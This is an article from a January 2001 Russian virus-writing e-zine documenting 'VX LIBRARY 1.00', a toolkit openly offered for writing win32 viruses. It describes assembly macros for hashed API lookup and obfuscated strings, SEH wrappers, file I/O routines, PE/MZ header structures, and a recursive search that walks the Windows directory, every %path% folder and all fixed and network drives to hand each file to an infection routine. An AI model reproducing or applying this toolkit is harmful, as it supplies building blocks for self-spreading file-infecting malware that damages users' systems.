·─T─┌O┐─T─┌A┐L···─Z┐┌0┐┌M┐┌B·i┌F─i┌C─┌A┐─T─i┌O┐┬N┬··························
│ │ │ │ ├─┤│ / │ ││││├┴┐┬├─ ┬│ ├─┤ │ ┬│ ││└┤ Issue #1, January-2001
··│·└─┘·│·│·│└─··└──└─┘│·│└─┘││··│└──│·│·│·│└─┘│·│··························
············································································
Описание VX LIBRARY 1.00 [vxl.zip]
············································································
Представляю вам небольшую библиотеку для написания win32 вирусов. Вот
ее описание:
············································································
МАКРОСЫ
············································································
Макрос: PUSHO <метка>
Используется для передачи адреса некоторой процедуры без генерации оффсета
pusho abc ; было
call temp ; стало
jmp abc ;
temp: ... ;
············································································
Макросы: callK32 <имя_API_функции> ; для KERNEL32.DLL
callREG <имя_API_функции> ; для ADVAPI32.DLL
callWSK <имя_API_функции> ; для WSOCK32.DLL
callK32 LoadLibraryA ; преобразуется в:
push nnnnnnnnH ; хэш от 'LoadLibraryA'
call k32man_get_proc_address ; получить адрес
call eax ; вызов API
············································································
Макросы: seh_init
seh_done
subroutine: seh_init
xor ecx, ecx
div ecx
seh_done
retn
Все что между макросами может генерить глюк; в случае глюка управление
передастся на seh_done с установленным CF и регистрами, такими же, как
перед вызовом seh_init. Если глюка не было, то после seh_done сброшен CF
(CF=0) и регистры (кроме ESP) без изменения.
············································································
Макросы: x_push <регистр>, <текст>
x_pop
x_stosd <текст>
в <тексте>:
0 заменяется на ~
пробел заменяется на |
БЫЛО СТАЛО
x_stosd C:\WINDOWS\*.EXE~ xor eax,eax
sub eax,0A8A3C5BD
stosd
xor eax,01818740A
stosd
add eax,0DB18050E
stosd
xor eax,06F041679
stosd
sub eax,01101CD2E
stosd
x_push ecx, C:\WINDOWS\*.EXE~ xor ecx,ecx
sub ecx,087868600
push ecx
xor ecx,03D213F2E
push ecx
add ecx,0E5040E29
push ecx
xor ecx,065181D1E
push ecx
sub ecx,0F7E81406
push ecx
x_pop lea esp,[esp+0014]
Например:
x_push eax, USER32.DLL~
push esp
callK32 LoadLibraryA
x_pop
; EAX=handle
············································································
ФУНКЦИИ
············································································
функции: k32man_get_proc_address (для KERNEL32.DLL)
advapi_get_proc_address (для ADVAPI32.DLL)
wsock_get_proc_address (для WSOCK32.DLL)
типа вызова: pascal
input: [ESP+4]=хэш от имени API-шки
(используется макрос calchash, результат в переменной hash)
output: ZF=1, EAX=0 (адрес не найден)
ZF=0, EAX=адрес функции
пример:
calchash HideProcess ; макрос, считает хэш от имени
push hash
call k32man_get_proc_address ; получить адрес
or eax, eax
jz __skip
push 1
push 0
call eax
__skip:
············································································
функция: get_kernel_base
output: CF=0 -- EBX=адрес KERNEL32.DLL
CF=1 -- EBX без изменения
············································································
ФАЙЛОВЫЕ ФУНКЦИИ
············································································
Все функции: при выходе CF=0 если все в порядке, CF=1 если ошибка, и
тогда в EAX код ошибки полученный через GetLastError. Короче, почти как в
DOSе.
fcreate(EDX=fname) : EAX=handle
fopen_ro(EDX=fname) : EAX=handle
fopen_rw(EDX=fname) : EAX=handle
fclose(EBX=handle)
fseekend(EBX=handle) : EAX=new pos
fseek(EBX=handle, EDX=newpos) : EAX=new pos
fread(EBX=handle, EDX=buffer, ECX=size) : EAX=bytesread
fwrite(EBX,EDX,ECX) : EAX=byteswritten
fgetattr (EBX=handle) : ECX=attr
fsetattr(EBX=handle, ECX=attr)
fgetsize(EBX=handle) : EAX
ftrunc(EBX=handle)
deletefile(EDX=fname)
findfirst(EDX=filename, EDI=ff_struc) : EAX=handle
findnext(EDI=ff_struc, EBX=handle)
findclose(EBX=handle)
············································································
ФУНКЦИИ ПОИСКА ФАЙЛОВ
············································································
главная функция: recsearch
действие: вызвать process_windir, process_path и process_drives
функция: process_windir
action: обработать маздайную директорию со всеми поддиректориями
1. получить %windir%
2. вызвать process_directory
input: EDI=ff_struc
output: нет
функция: process_path
action: обработать все директории из %path%
1. получить %path%
2. разобрать %path% и вызвать process_directory для каждой диры
input: EDI=ff_struc
output: нет
функция: process_drives
action: для каждого диска A:..Z: с типом DRIVE_FIXED или DRIVE_REMOTE
вызвать process_directory передавая корень диска как аргумент
input: EDI=ff_struc
output: нет
функция: process_directory
action: 1. найти все файлы в директории
2. для каждой найденной поддиректории кроме '.'/'..' рекурсивно;
для каждого найденного имени вызвать process_file
input: EDI=ff_struc
EDX=имя директории (полный путь)
output: нет
функция: process_file
action: вызвать infect_file, которая в VXL не определена, смотри TEMPLATE
input: EDI=ff_struc
EDX=имя файла
output: нет
············································································
РАБОТА С ПАМЯТЬЮ
············································································
функция: malloc
input: ECX=size
output: EDX=buf (0 если ошибка)
функция: mfree
input: EDX=buf
············································································
СТРУКТУРЫ
············································································
mz_struc struc
mz_id dw ? ; MZ/ZM
mz_last512 dw ?
mz_num512 dw ?
mz_relnum dw ?
mz_hdrsize dw ? ; in PAR
mz_minmem dw ?
mz_maxmem dw ?
mz_ss dw ?
mz_sp dw ?
mz_csum dw ? ; 0
mz_ip dw ?
mz_cs dw ?
mz_relptr dw ?
mz_ovrnum dw ? ; 0
db 32 dup (?)
mz_neptr dd ?
ends
············································································
pe_struc struc
pe_id dd ? ; 00 01 02 03 pe00
pe_cputype dw ? ; 04 05 14c..14e: i386..i586
pe_numofobjects dw ? ; 06 07
pe_datetime dd ? ; 08 09 0a 0b date/time
pe_cofftableptr dd ? ; 0c 0d 0e 0f
pe_cofftablesize dd ? ; 10 11 12 13
pe_ntheadersize dw ? ; 14 15
pe_exeflags dw ? ; 16 17
; ntheader
pe_ntheader_id dw ? ; 18 19
pe_linkmajor db ? ; 19
pe_linkminor db ? ; 1a
pe_sizeofcode dd ? ; 1c 1d 1e 1f
pe_sizeofinitdata dd ? ; 20 21 22 23
pe_sizeofuninitdata dd ? ; 24 25 26 27
pe_entrypointrva dd ? ; 28 29 2a 2b
pe_baseofcoderva dd ? ; 2c 2d 2e 2f
pe_baseofdatarva dd ? ; 30 31 32 33
pe_imagebase dd ? ; 34 35 36 37 align: 64k
pe_objectalign dd ? ; 39 30 3a 3b
pe_filealign dd ? ; 3c 3d 3e 3f
pe_osmajor dw ? ; 40 41
pe_osminor dw ? ; 42 43
pe_usermajor dw ? ; 44 45
pe_userminor dw ? ; 46 47
pe_subsysmajor dw ? ; 48 49
pe_subsysminor dw ? ; 4a 4b
dd ? ; 4c 4d 4e 4f
pe_imagesize dd ? ; 50 51 52 53 align: objectalign
pe_headersize dd ? ; 54 55 56 57 dosh+peh+objecttable
pe_checksum dd ? ; 58 59 5a 5b 0
pe_subsystem dw ? ; 5c 5d
pe_dllflags dw ? ; 5e 5f
pe_stackreservesize dd ? ; 60 61 62 63
pe_stackcommitsize dd ? ; 64 65 66 67
pe_heapreservesize dd ? ; 68 69 6a 6b
pe_heapcommitsize dd ? ; 6c 6d 6e 6f
pe_loaderflags dd ? ; 70 71 72 73
pe_numofrvaandsizes dd ? ; 74 75 76 77 =10h
; rva/sizes
pe_rvasizes label dword
pe_exporttablerva dd ? ; 78 79 7a 7b
pe_exporttablesize dd ? ; 7c 7d 7e 7f
pe_importtablerva dd ? ; 80 81 82 83
pe_importtablesize dd ? ; 84 85 86 87
pe_resourcetablerva dd ? ; 88 89 8a 8b
pe_resourcetablesize dd ? ; 8c 8d 8e 8f
pe_exceptiontablerva dd ? ; 90 91 92 93
pe_exceptiontablesize dd ? ; 94 95 96 97
pe_securitytablerva dd ? ; 98 99 9a 9b
pe_securitytablesize dd ? ; 9c 9d 9e 9f
pe_fixuptablerva dd ? ; a0 a1 a2 a3
pe_fixuptablesize dd ? ; a4 a5 a6 a7
pe_debugtablerva dd ? ; a8 a9 aa ab
pe_debugtablesize dd ? ; ac ad ae af
pe_imgdescrrva dd ? ; b0 b1 b2 b3
pe_imgdescrsize dd ? ; b4 b5 b6 b7
pe_machinerva dd ? ; b8 b9 ba bb
pe_machinesize dd ? ; bc bd be bf
pe_tlsrva dd ? ; c0 c1 c2 c3
pe_tlssize dd ? ; c4 c5 c6 c7
pe_loadcfgrva dd ? ; c8 c9 ca cb
pe_loadcfgsize dd ? ; cc cd ce cf
dq ? ; d0 d1 d2 d3 d4 d5 d6 d7
pe_iattablerva dd ? ; d8 d9 da db
pe_iattablesize dd ? ; dc dd de df
dq ? ; e0 e1 e2 e3 d4 e5 e6 e7
dq ? ; e8 e9 ea eb ec ed ee ef
dq ? ; f0 f1 f2 f3 f4 f5 f6 f7
ends
············································································
oe_struc struc
oe_name db 8 dup (?);00 01 02 03 04 05 06 07
oe_virt_size dd ? ; 08 09 0a 0b
oe_virt_rva dd ? ; 0c 0d 0e 0f align: objectalign
oe_phys_size dd ? ; 10 11 12 13
oe_phys_offs dd ? ; 14 15 16 17 align: filealign
oe_xxx dd ? ; for obj file
dd ? ; --//--
dd ? ; --//--
oe_flags dd ? ; 24 25 26 27
ends
ex_struct struct
ex_flags dd ? ; 00 01 02 03
ex_datetime dd ? ; 04 05 06 07
ex_major_ver dw ? ; 08 09
ex_minor_ver dw ? ; 0A 0B
ex_namerva dd ? ; 0C 0D 0E 0F
ex_ordinalbase dd ? ; 10 11 12 13
ex_numoffunctions dd ? ; 14 15 16 17
ex_numofnamepointers dd ? ; 18 19 1A 1B
ex_addresstablerva dd ? ; 1C 1D 1E 1F
ex_namepointersrva dd ? ; 20 21 22 23
ex_ordinaltablerva dd ? ; 24 25 26 27
ends
············································································
ff_struc struc ; win32 "searchrec" structure
ff_attr dd ?
ff_time_create dd ?,?
ff_time_lastaccess dd ?,?
ff_time_lastwrite dd ?,?
ff_size_hi dd ?
ff_size dd ?
dd ?,?
ff_fullname db 260 dup (?)
ff_shortname db 14 dup (?)
ends
············································································